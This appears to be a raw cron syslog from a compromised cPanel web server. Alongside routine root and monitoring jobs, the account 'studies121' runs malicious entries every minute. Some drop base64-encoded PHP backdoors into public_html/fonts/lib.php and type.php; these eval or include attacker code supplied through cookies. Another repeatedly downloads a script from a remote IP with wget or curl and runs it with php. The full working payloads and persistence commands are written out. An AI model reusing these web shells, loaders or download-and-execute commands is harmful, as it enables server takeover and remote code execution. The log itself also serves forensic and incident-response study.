Sep  1 04:00:01 ip-184-168-122-23 CROND[12117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:00:01 ip-184-168-122-23 CROND[12122]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 04:00:01 ip-184-168-122-23 CROND[12123]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:00:01 ip-184-168-122-23 CROND[12124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:00:01 ip-184-168-122-23 CROND[12120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:00:01 ip-184-168-122-23 CROND[12121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:01:01 ip-184-168-122-23 CROND[12267]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 04:01:01 ip-184-168-122-23 CROND[12269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:01:01 ip-184-168-122-23 CROND[12272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:01:01 ip-184-168-122-23 CROND[12273]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 04:01:01 ip-184-168-122-23 CROND[12275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:01:01 ip-184-168-122-23 CROND[12274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12267]: starting 0anacron
Sep  1 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12289]: finished 0anacron
Sep  1 04:02:01 ip-184-168-122-23 CROND[12378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:02:01 ip-184-168-122-23 CROND[12379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:02:01 ip-184-168-122-23 CROND[12381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:02:01 ip-184-168-122-23 CROND[12382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:02:01 ip-184-168-122-23 CROND[12384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:03:01 ip-184-168-122-23 CROND[12497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:03:01 ip-184-168-122-23 CROND[12499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:03:01 ip-184-168-122-23 CROND[12501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:03:01 ip-184-168-122-23 CROND[12500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:04:01 ip-184-168-122-23 CROND[12672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:04:01 ip-184-168-122-23 CROND[12674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:04:01 ip-184-168-122-23 CROND[12675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:04:01 ip-184-168-122-23 CROND[12677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:04:01 ip-184-168-122-23 CROND[12679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:05:02 ip-184-168-122-23 CROND[12807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:05:02 ip-184-168-122-23 CROND[12810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:05:02 ip-184-168-122-23 CROND[12809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:05:02 ip-184-168-122-23 CROND[12808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:05:02 ip-184-168-122-23 CROND[12814]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:05:02 ip-184-168-122-23 CROND[12813]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 04:05:02 ip-184-168-122-23 CROND[12811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:06:01 ip-184-168-122-23 CROND[12924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:06:01 ip-184-168-122-23 CROND[12923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:06:01 ip-184-168-122-23 CROND[12925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:06:01 ip-184-168-122-23 CROND[12928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:06:01 ip-184-168-122-23 CROND[12930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:07:01 ip-184-168-122-23 CROND[13067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:07:01 ip-184-168-122-23 CROND[13069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:07:01 ip-184-168-122-23 CROND[13070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:07:01 ip-184-168-122-23 CROND[13071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:08:01 ip-184-168-122-23 CROND[13212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:08:01 ip-184-168-122-23 CROND[13213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:08:01 ip-184-168-122-23 CROND[13215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:08:01 ip-184-168-122-23 CROND[13216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:08:01 ip-184-168-122-23 CROND[13217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:09:01 ip-184-168-122-23 CROND[13349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:09:01 ip-184-168-122-23 CROND[13350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:09:01 ip-184-168-122-23 CROND[13352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:09:01 ip-184-168-122-23 CROND[13354]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 04:09:01 ip-184-168-122-23 CROND[13356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:10:01 ip-184-168-122-23 CROND[13554]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:10:01 ip-184-168-122-23 CROND[13555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:10:01 ip-184-168-122-23 CROND[13562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:10:01 ip-184-168-122-23 CROND[13561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:10:01 ip-184-168-122-23 CROND[13564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:10:01 ip-184-168-122-23 CROND[13565]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:10:01 ip-184-168-122-23 CROND[13566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:10:01 ip-184-168-122-23 CROND[13567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:11:02 ip-184-168-122-23 CROND[13704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:11:02 ip-184-168-122-23 CROND[13706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:11:02 ip-184-168-122-23 CROND[13707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:11:02 ip-184-168-122-23 CROND[13708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:12:01 ip-184-168-122-23 CROND[13803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
